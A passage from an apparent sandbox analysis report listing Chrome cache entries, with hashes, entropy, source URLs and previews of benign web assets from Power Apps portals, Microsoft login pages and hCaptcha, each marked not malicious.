Preview:	.//// Wrapper class for client logger for below purposes..//// 1. Abstracting CST framework code from manual trace log APIs. ..//// 2. Constrolling instantiation of CST framework code in clientLogger.js based on whether telemetry is enabled..class ClientLogWrapper {...../// Constructor which also creates an instance of actual logger if telemetry is enabled...constructor() {....try {.....if (Helper.isTelemetryEnabled()) {......ClientLogger.getLogger();.....}....}....catch (exception) {.....console.warn(exception);....}...}...../// Gets the client log wrapper. Creates new instance if not already created...static getLogger() {....if (!window.clientLogWrapper) {.....window.clientLogWrapper = new ClientLogWrapper();....}......return window.clientLogWrapper;...}...../// Trace info log.../// For component, subComponent, action, tag, it is recommended to use standard short and crisp one worder string..../// Examples:.../// for component: entity_grid, entity_form etc.../// For SubComponent: f

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1835)
Category:	downloaded
Size (bytes):	1884
Entropy (8bit):	5.189888619404054
Encrypted:	false
SSDEEP:	48:imcClmcCBjYEjvNkjul8Vv30IFCgcYPhsjr3Xls2Osmip9sHoyWsplWrMY0wsTSA:1PMPBjYEjvNkjulgvEXgDJOHlcm9RT2D
MD5:	DFD19253D3DBC5521540512B5B2B05FB
SHA1:	63C7C12B96231EA61F6DF2DAFAF53FEBB20D627D
SHA-256:	810C0D1DE636403CE04DD194F9230C998613BA37D1496463648055B44E2B95F6
SHA-512:	8EDBDB57FB7025B1E839887549341FC871F5A72EEF83DF46F65EC2DE3F1E3ACC1308EF1D0E91A91863B322E47AEE900221EBD793BC0B152712809A339FD8969A
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/host/243.37970f022e.chunk.js
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[243],{7243:(e,t,o)=>{o.r(t),o.d(t,{AnnounceProvider:()=>M,AnnounceProvider_unstable:()=>M,BackgroundAppearanceProvider:()=>g,CustomStyleHooksContext_unstable:()=>h,CustomStyleHooksProvider_unstable:()=>y,OverridesProvider_unstable:()=>p,PortalMountNodeProvider:()=>H,Provider_unstable:()=>b,ThemeClassNameProvider_unstable:()=>a,ThemeContext_unstable:()=>r,ThemeProvider_unstable:()=>u,TooltipVisibilityProvider_unstable:()=>c,useAnnounce:()=>O,useAnnounce_unstable:()=>O,useBackgroundAppearance:()=>w,useCustomStyleHook_unstable:()=>A,useFluent_unstable:()=>x,useOverrides_unstable:()=>f,usePortalMountNode:()=>S,useThemeClassName_unstable:()=>d,useTooltipVisibility_unstable:()=>C});var n=o(5041);const r=n.createContext(void 0),u=r.Provider,s=n.createContext(void 0),i="",a=s.Provider;function d(){var e;return null!==(e=n.useContext(s))&&void 0!==e?e:i}const v=n.createContext(void

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	downloaded
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25293)
Category:	dropped
Size (bytes):	43107
Entropy (8bit):	5.26903329129244
Encrypted:	false
SSDEEP:	768:jYsYjb/IQVTJp8tisbmc4cTcgjOjwc+2eV5G5c5qG2zucf:07IQVeruV
MD5:	805A1661B77834F61B0C8E1175DC9F90
SHA1:	38E8EEB48DF5906F796E4C9A4549DFBF0327D656
SHA-256:	B37275F7C7F76430F05A20E7D0DDDAC3649467DBC0E7AF58CC3F04B1EE6DEA81
SHA-512:	45004F96FB51B09AC26A409CA1BE79E48568026B1DEE9F0C55B6E5BB2958820AB96B3F6B5649E1BC7289D8E5D64334EA3882D7248926FE532AC7C7F2A7595142
Malicious:	false
Reputation:	low
Preview:	(function(e){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=e()}else if(typeof define==="function"&&define.amd){define([],e)}else{var t;if(typeof window!=="undefined"){t=window}else if(typeof global!=="undefined"){t=global}else if(typeof self!=="undefined"){t=self}else{t=this}t.PropTypes=e()}})(function(){var e,t,r;return function i(a,u,c){function f(r,e){if(!u[r]){if(!a[r]){var t=typeof require=="function"&&require;if(!e&&t)return t(r,!0);if(s)return s(r,!0);var n=new Error("Cannot find module '"+r+"'");throw n.code="MODULE_NOT_FOUND",n}var o=u[r]={exports:{}};a[r][0].call(o.exports,function(e){var t=a[r][1][e];return f(t?t:e)},o,o.exports,i,a,u,c)}return u[r].exports}var s=typeof require=="function"&&require;for(var e=0;e<c.length;e++)f(c[e]);return f}({1:[function(e,t,r){./*. Copyright (c) 2013-present, Facebook, Inc.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */."use

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (39767)
Category:	downloaded
Size (bytes):	360296
Entropy (8bit):	5.525269662156644
Encrypted:	false
SSDEEP:	6144:mwGXADTn26XVaYxulxrgBEGSaxP6Ccki/a:IcaYQy
MD5:	8E57C8988B892BBA521004C07D125F92
SHA1:	7F8439C193EC75058C372375A66D97525065C73E
SHA-256:	EBED367D65389B9C9EFBDB5BAE2FE4AEEFC9BDED5499B5DFCA3F74C4EFBF48B3
SHA-512:	F5109074E12138BFB4E64032FBB0A0740B48F250584A21F1F7EA9D0324D77110DD0224B12E21437374AE12E0390CFD5310854F8FC8571F6C26B4CE052BD78F63
Malicious:	false
Reputation:	low
URL:	https://newassets.hcaptcha.com/captcha/v1/41c61f4f356516806017107484a3b43e62b92b84/static/hcaptcha.html
Preview:	<!DOCTYPE html>.<html lang="en" data-id="hcaptcha-frame-41c61f4f356516806017107484a3b43e62b92b84">.<head>. <title>hCaptcha</title>. <meta charset="utf-8">. <meta http-equiv="X-UA-Compatible" content="IE=edge">. <meta http-equiv="Content-Security-Policy" content="object-src 'none'; base-uri 'self'; worker-src blob:; script-src 'self' 'unsafe-eval' 'sha256-Lzd7rEo3j33hQ9LXykTRi7bprfNTcwU6gX9Uyqh2YZ4=';">. <style type="text/css">*{-webkit-tap-highlight-color:transparent;-webkit-font-smoothing:antialiased}body,html{margin:0;padding:0;font-family:-apple-system,system-ui,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen,Ubuntu,"Helvetica Neue",Arial,sans-serif;overflow:hidden;height:100%;width:100%;background-color:rgba(255,255,255,0);background-color:transparent}fieldset{margin:0;padding:15px 20px;border:none}button:focus,input:focus,select:focus,textarea:focus{outline:0}:focus{border:none;outline:0}textarea{border:none;overflow:auto;outline:0;-webkit-box-shadow:none;-moz-box-shado

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	4.49649668424402
Encrypted:	false
SSDEEP:	24:aj84C0Jj848QJ3j84IJgJj84yQoj84DzXj84+Vuj84y6giYj843A:cvbFv88zvUgFvyFvDvRvOBvw
MD5:	76167CAA7E3FD19E1D5684ED58434C7E
SHA1:	24EEA8841EE197B894382B75420D7B9893D0D0B7
SHA-256:	FFFF5534CABFD94B388E8C9311FECCFDFD4A767D007C5C56D19ADC78DE5F10C4
SHA-512:	15E56EF8E7BFD00EA715039E2D8977336F06B8C6970D3357F284AF375F40D41EBDF697B4AA74D60689B93604FC8ABFFCAD579F84E68D3DA1BD99D664FCD42B69
Malicious:	false
Reputation:	low
Preview:	{. "Gallery": {. "library": "pcf_controls",. "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js",. "control": "./Gallery". },. "GalleryWrapped": {. "library": "pcf_controls",. "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js",. "control": "./GalleryWrapped". },. "SearchSummary": {. "library": "pcf_controls",. "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js",. "control": "./SearchSummary". },. "SearchSummaryWrapped": {. "library": "pcf_controls",. "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js",. "control": "./SearchSummaryWrapped". },. "SummaryControl": {. "library": "pcf_controls",. "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js",. "control": "./SummaryControl". },. "FormAssistant": {. "library": "pcf_controls",. "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js",. "control": "./FormAs

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (39862)
Category:	dropped
Size (bytes):	977847
Entropy (8bit):	5.3506013175263405
Encrypted:	false
SSDEEP:	6144:TAv4KHFaJIIfJz6u4CyjtjTNSuu94DGfiiVD12rWmE2TxNwMkzJKs41dC/jSaLjn:TKJH2JN4xxRSukrWWMuXfQ/Cehc
MD5:	E303D5355313048BECBD7E9429825F82
SHA1:	4ECFDB3DCA8F4AD156D0A0F12FB2ABBB1DBF6D67
SHA-256:	CED5EA5C04E6DD8807FA46B2052888EB4798E557C507FC2EC75463FEE17A9AEA
SHA-512:	2DD6CFF9B75FE25F1000CDC54F63209D11E9E90860F8CE23A492E1AFA28A7ADDB8E5262031BFF3772174F001ABFD19A5FD655AC562E4297667C8F4DA26B71AC7
Malicious:	false
Reputation:	low
Preview:	var __assign=this&&this.__assign\|\|function(){return(__assign=Object.assign\|\|function(e){for(var t,n=1,o=arguments.length;n<o;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t(require("React"),require("Fela")):"function"==typeof define&&define.amd?define("ReactFela",["React","Fela"],t):"object"==typeof exports?exports.ReactFela=t(require("React"),require("Fela")):e.ReactFela=t(e.React,e.Fela)}(window,function(n,o){return function(n){var o={};function r(e){if(o[e])return o[e].exports;var t=o[e]={i:e,l:!1,exports:{}};return n[e].call(t.exports,t,t.exports,r),t.l=!0,t.exports}return r.m=n,r.c=o,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	750145
Entropy (8bit):	5.612430715818829
Encrypted:	false
SSDEEP:	12288:VfAtPRo2e9uu0Y+hqUo6CeOKia7idMQvJhk/qVeqFh98Nilt:spo2ewvY+hqUzOW+dMQvJhk/qVVFAED
MD5:	76A66901A8EC6F9CC199640277D83270
SHA1:	FA08E3FC7B32763A38887E4CEADC3E0E518A8BC1
SHA-256:	C2CBCA1636ABB166A9B1083005E17CD72503ED138E020E9880DE975D09232D51
SHA-512:	2E7A823B9773026CBCB5113FA40B847BDC8B40B2F2DFDE73A1CFD2DA35B0C3FA60CAE9CFC534C4CE66004CCFAE59CE87F7D0D68E46D3A5FFA3B03A1AF49EAF03
Malicious:	false
Reputation:	low
URL:	https://newassets.hcaptcha.com/c/c0e4881c9623bd415ad16c18f8b6f5bbce9a12f6fb8a5e7bf6dd055fd2816999/hsw.js
Preview:	var hsw=function sxAN(){"use strict";function fX(fX,aw,hV){return aw<=fX&&fX<=hV}var aw=function(fX){this.tokens=[].slice.call(fX),this.tokens.reverse()},hV=function(){var fX=["i0zgmZngrG","DgvYBwLUyxrL","i0ndq0mWma","y3jLyxrLt2zMzxi","CMDIysG","mJK3mJb4ANLHCfC","Bwf0y2HbBgW","D2vIA2L0uLrdugvLCKnVBM5Ly3rPB24","zxn0Aw1HDgu","r2fSDMPP","mtK3Bq","y3nZvgv4Da","y3jLyxrLrg9JDw1LBNrgCMfNBwvUDa","rgvQyvz1ifnHBNm","y29UBMvJDgLVBG","zMLSDgvY","ywn0DwfSqM91BMrPBMDcB3HsAwDODa","CMfJzq","z2v0qxr0CMLIDxrL","zg9JDw1LBNq","z2v0rMXVyxrgCMvXDwvUy3LeyxrH","z2v0vgLTzxPVBMvpzMzZzxq","Dgv4DhvYzs1JB21WCMvZC2LVBI1IyY1ZBgLJzwqTm2q","y3jLyxrLrhLUyw1Py3ndB21WCMvZC29Y","sw5HAu1HDgHPiejVBgq","BxfX","i0zgmue2nG","z2v0sgLNAevUDhjVChLwywX1zxm","zMLSBfjLy3q","yxjJ","laOGicaGicaGicm","z2v0uMfUzg9TvMfSDwvZ","C3rYB2TL","C2XPy2u","yxrVyG","yxjJAgL0zwn0DxjL","iZy2otKXqq","AgLP","nY8XlW","mtzWEca","y2XPzw50sw5MB3jTyxrPB24","twf0Aa","Aw52zxj0zwqTy29SB3jZ","CNr0","ChjLzMvYCY1JB2XVCI1Zy2HLBwu","ywn0DwfSqM91BMrPBMDcB3HbC2nLBNq"

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (540), with no line terminators
Category:	downloaded
Size (bytes):	540
Entropy (8bit):	5.0135089870329255
Encrypted:	false
SSDEEP:	12:fNWjuwUKXgK0Xdww4nXgvwXJ5DgbXg0tSw7a:f6iKXgvXdanXgvIgbXg2S8a
MD5:	2739C60227F87D19F5C784BFFB5991F8
SHA1:	42DBAC51553D7778A176E710D3CE1009884DE167
SHA-256:	974FECBEBCF2F295348C3631FE069966EAB4B4B57CD4FCBE15FB70D0ACAB47C6
SHA-512:	42C81F41962FE4B5FA556EEDF1C9D9CB2F1D9D182D7BF29E2F8D69BE2CA5553E10D89893D4B8699D1E60FDAB19D1C5D9BC9C686C6C2DBC58DAB85070D43596CD
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/pwa-style.bundle-2739c60227.css
Preview:	#offlineNotificationBar{padding-top:10px;padding-bottom:10px;background:#fff4ce}#message{position:relative;font-family:Segoe UI;font-style:normal;font-weight:600;font-size:12px;line-height:133%;color:#323130}html[dir=rtl] #message{right:36px;margin-left:64px}html[dir=ltr] #message{left:36px;margin-right:64px}#web{position:absolute;line-height:100%}html[dir=rtl] #web{right:12px}html[dir=ltr] #web{left:12px}#close{position:absolute;line-height:100%;display:flex;cursor:pointer}html[dir=rtl] #close{left:8px}html[dir=ltr] #close{right:8px}

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	750145
Entropy (8bit):	5.612430715818829
Encrypted:	false
SSDEEP:	12288:VfAtPRo2e9uu0Y+hqUo6CeOKia7idMQvJhk/qVeqFh98Nilt:spo2ewvY+hqUzOW+dMQvJhk/qVVFAED
MD5:	76A66901A8EC6F9CC199640277D83270
SHA1:	FA08E3FC7B32763A38887E4CEADC3E0E518A8BC1
SHA-256:	C2CBCA1636ABB166A9B1083005E17CD72503ED138E020E9880DE975D09232D51
SHA-512:	2E7A823B9773026CBCB5113FA40B847BDC8B40B2F2DFDE73A1CFD2DA35B0C3FA60CAE9CFC534C4CE66004CCFAE59CE87F7D0D68E46D3A5FFA3B03A1AF49EAF03
Malicious:	false
Reputation:	low
Preview:	var hsw=function sxAN(){"use strict";function fX(fX,aw,hV){return aw<=fX&&fX<=hV}var aw=function(fX){this.tokens=[].slice.call(fX),this.tokens.reverse()},hV=function(){var fX=["i0zgmZngrG","DgvYBwLUyxrL","i0ndq0mWma","y3jLyxrLt2zMzxi","CMDIysG","mJK3mJb4ANLHCfC","Bwf0y2HbBgW","D2vIA2L0uLrdugvLCKnVBM5Ly3rPB24","zxn0Aw1HDgu","r2fSDMPP","mtK3Bq","y3nZvgv4Da","y3jLyxrLrg9JDw1LBNrgCMfNBwvUDa","rgvQyvz1ifnHBNm","y29UBMvJDgLVBG","zMLSDgvY","ywn0DwfSqM91BMrPBMDcB3HsAwDODa","CMfJzq","z2v0qxr0CMLIDxrL","zg9JDw1LBNq","z2v0rMXVyxrgCMvXDwvUy3LeyxrH","z2v0vgLTzxPVBMvpzMzZzxq","Dgv4DhvYzs1JB21WCMvZC2LVBI1IyY1ZBgLJzwqTm2q","y3jLyxrLrhLUyw1Py3ndB21WCMvZC29Y","sw5HAu1HDgHPiejVBgq","BxfX","i0zgmue2nG","z2v0sgLNAevUDhjVChLwywX1zxm","zMLSBfjLy3q","yxjJ","laOGicaGicaGicm","z2v0uMfUzg9TvMfSDwvZ","C3rYB2TL","C2XPy2u","yxrVyG","yxjJAgL0zwn0DxjL","iZy2otKXqq","AgLP","nY8XlW","mtzWEca","y2XPzw50sw5MB3jTyxrPB24","twf0Aa","Aw52zxj0zwqTy29SB3jZ","CNr0","ChjLzMvYCY1JB2XVCI1Zy2HLBwu","ywn0DwfSqM91BMrPBMDcB3HbC2nLBNq"

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	8462
Entropy (8bit):	4.565107591158701
Encrypted:	false
SSDEEP:	96:tG20G2wGTkG9GsGxGwGJGrwGUG3GAGnGVG0GTGGGFG8GvGnFrG+7GBG2GSGrG2G4:fjFBxHnf
MD5:	320C8BE42A19CB9DF6A5011CC4E1BC6D
SHA1:	2EEC673BEFEAE800B601D970B4A0E4CA46FABA93
SHA-256:	16201845D54E6F4B48E3CBBC60B835FD7B3D31284F4D1F63BD959EE4A09986F5
SHA-512:	320AC75BC1086DC25EFE8D2CA2AD2F35A2DDA9250AE00C18451CCD0EE02F52F7DD40657218CCD908A2010E0C5AA812E85E54C071097AAEECAC7DA962D5E7F6C3
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/controls_fluent_v9/manifest-0.0.30.json
Preview:	{. "Avatar": {. "library": "controls_fluent_v9",. "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js",. "control": "./Avatar". },. "AvatarGroup": {. "library": "controls_fluent_v9",. "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js",. "control": "./AvatarGroup". },. "Badge": {. "library": "controls_fluent_v9",. "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js",. "control": "./Badge". },. "CounterBadge": {. "library": "controls_fluent_v9",. "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js",. "control": "./CounterBadge". },. "PresenceBadge": {. "library": "controls_fluent_v9",. "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js",. "control": "./PresenceBadge". },. "Button": {. "library": "controls_fluent_v9",. "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js",.

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	dropped
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
Reputation:	low
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4807
Entropy (8bit):	4.941343369031878
Encrypted:	false
SSDEEP:	96:+/dEWd/fIdnKK6nKLkAXnKwnnKUUBiz3QNeVKpMmT0IB:qdXd/AdnKK6nK4InKwnnKUUBiQeVKpME
